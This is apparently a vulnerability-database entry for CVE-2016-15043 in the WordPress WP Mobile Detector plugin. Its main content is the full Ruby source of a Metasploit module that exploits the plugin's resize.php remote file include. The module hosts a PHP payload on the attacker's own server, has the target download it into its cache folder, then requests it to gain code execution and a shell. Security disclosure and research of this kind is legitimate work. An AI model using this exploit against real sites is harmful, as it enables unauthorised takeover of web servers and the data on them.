Lucene search
+L

WordPress WP Mobile Detector 3.5 Shell Upload

🗓️ 31 May 2016 00:00:00Reported by pluginvulnerabilities.com, Aaditya Purani, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

WP Mobile Detector 3.5 Shell Upload vulnerability in WordPres

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2016-15043
29 May 201815:50
circl
cnnvd
CNNVD
WordPress plugin WP Mobile Detector 代码问题漏洞
19 Jul 202500:00
cnnvd
cve
CVE
CVE-2016-15043
19 Jul 202509:23
cve
cvelist
Cvelist
CVE-2016-15043 WP Mobile Detector <= 3.5 - Arbitrary File Upload
19 Jul 202509:23
cvelist
euvd
EUVD
EUVD-2016-10788
7 Oct 202500:30
euvd
nuclei
Nuclei
WP Mobile Detector <= 3.5 - Unrestricted File Upload
22 Aug 202602:23
nuclei
nvd
NVD
CVE-2016-15043
19 Jul 202510:15
nvd
osv
OSV
CVE-2016-15043
19 Jul 202510:15
osv
ptsecurity
Positive Technologies
PT-2025-30129
19 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2016-15043
21 Jul 202510:11
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload',
        'Description' => %q{
          WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
          to execute arbitrary PHP code. This flaw exists because the
          /wp-content/plugins/wp-mobile-detector/resize.php script does contains a
          remote file include for files not cached by the system already.
          By uploading a .php file, the remote system will
          place the file in a user-accessible path. Making a direct request to the
          uploaded file will allow the attacker to execute the script with the privileges
          of the web server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'pluginvulnerabilities.com', # Vulnerability disclosure
          'Aaditya Purani', # EDB module discovered after writing module
          'h00die' # Metasploit module
        ],
        'References' => [
          ['CVE', '2016-15043'],
          ['WPVDB', '8505'],
          ['EDB', '39891'],
          ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
        ],
        'DisclosureDate' => '2016-05-31',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['wp-mobile-detectory < 3.6', {}]],
        'DefaultTarget' => 0,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    check_plugin_version_from_readme('wp-mobile-detector', '3.5')
  end

  def exploit
    payload_name = rand_text_alphanumeric(10) + '.php'

    # First check to see if the file is written already, if it is cache wont retrieve it from us
    res = send_request_cgi(
      'global' => true,
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
    )
    if res && !res.body.include?(payload_name)
      vprint_status("#{payload_name} verified as not written.")
    else
      fail_with(Failure::BadConfig, "#{payload_name} already written on system.")
    end

    def on_request_uri(cli, _request)
      print_good('Payload requested on server, sending')
      send_response(cli, payload.encoded)
    end

    print_status('Starting Payload Server')
    start_service('Path' => "/#{payload_name}")

    print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}")

    res = send_request_cgi(
      'global' => true,
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
      'vars_get' => { 'src' => get_uri }
    )

    if res && res.code == 200
      print_good('Sleeping 5 seconds for payload upload')
      register_files_for_cleanup(payload_name)

      Rex.sleep(5)

      print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
      send_request_cgi(
        {
          'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
        }
      )
      # wait for callback, without this we exit too fast and miss our shell
      Rex.sleep(2)
    else
      if res.nil?
        fail_with(Failure::Unreachable, 'No response from the target')
      else
        vprint_error("HTTP Status: #{res.code}")
        vprint_error("Server returned: #{res.body}")
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 May 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.10032
SSVC
29